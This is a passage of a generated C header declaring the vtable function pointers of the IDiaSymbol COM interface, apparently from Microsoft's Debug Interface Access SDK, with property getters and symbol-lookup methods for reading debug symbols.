This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( \n            IDiaSymbol * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( \n            IDiaSymbol * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( \n            IDiaSymbol * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( \n            IDiaSymbol * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_dataBytes )( \n            IDiaSymbol * This,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildren )( \n            IDiaSymbol * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( \n            IDiaSymbol * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( \n            IDiaSymbol * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( \n            IDiaSymbol * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( \n            IDiaSymbol * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( \n            IDiaSymbol * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_types )( \n            IDiaSymbol * This,\n            /* [in] */ DWORD cTypes,\n            /* [out] */ DWORD *pcTypes,\n            /* [size_is][size_is][out] */ IDiaSymbol **pTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_typeIds )( \n            IDiaSymbol * This,\n            /* [in] */ DWORD cTypeIds,\n            /* [out] */ DWORD *pcTypeIds,\n            /* [size_is][out] */ DWORD *pdwTypeIds);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( \n            IDiaSymbol * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( \n            IDiaSymbol * This,\n            /* [in] */ DWORD undecorateOptions,\n            /* [out] */ BSTR *name);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSEH )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( \n            IDiaSymbol * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noStackOrdering )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( \n            IDiaSymbol * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( \n            IDiaSymbol * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( \n            IDiaSymbol * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( \n            IDiaSymbol * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pProperties);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( \n            IDiaSymbol * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ WORD *pModifiers);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataOffset )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( \n            IDiaSymbol * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( \n            IDiaSymbol * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( \n            IDiaSymbol * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSdl )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( \n            IDiaSymbol * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( \n            IDiaSymbol * This,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( \n            IDiaSymbol * This,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( \n            IDiaSymbol * This,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( \n            IDiaSymbol * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( \n            IDiaSymbol * This,\n            /* [in] */ DWORD rva,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( \n            IDiaSymbol * This,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( \n            IDiaSymbol * This,\n            /* [in] */ DWORD tagValue,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( \n            IDiaSymbol * This,\n            /* [in] */ DWORD tagValue,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( \n            IDiaSymbol * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pPointerTags);\n        \n        HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( \n            IDiaSymbol * This,\n            /* [out] */ IDiaLineNumber **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( \n            IDiaSymbol * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( 